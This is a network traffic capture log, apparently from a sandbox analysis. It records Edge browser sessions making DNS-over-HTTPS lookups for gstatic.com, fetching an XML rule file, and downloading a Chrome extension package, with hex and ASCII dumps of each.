2024-11-23 04:02:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:44 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2151d667-701e-0021-3e0f-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040244Z-178bfbc474bgvl54hC1NYCsfuw0000000400000000003ge8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:45 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49837	172.64.41.3	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 04:02:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 04:02:46 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 04:02:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6e43fccb50de99-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 04:02:46 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom'PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49836	172.64.41.3	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 04:02:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 04:02:46 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 04:02:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6e43fd2e5c4252-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 04:02:46 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c6 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49838	162.159.61.3	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 04:02:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 04:02:46 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 04:02:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6e43fd8d528cc0-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 04:02:46 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,P#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49828	142.250.181.65	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:45 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:46 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4Xo5_SjgStmXZmUzjAeeP8QUbAteBHBzl6avEeNMgfbpVkNJ7Fknm4GZNSA_by5dHYTAw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Fri, 22 Nov 2024 16:45:00 GMT Expires: Sat, 22 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 40666 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-23 04:02:46 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-23 04:02:46 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-23 04:02:46 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-23 04:02:46 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-23 04:02:46 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-23 04:02:46 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-23 04:02:46 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-23 04:02:46 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-23 04:02:46 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-23 04:02:46 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49842	172.64.41.3	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 04:02:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49849	172.64.41.3	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 04:02:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49848	162.159.61.3	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 04:02:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
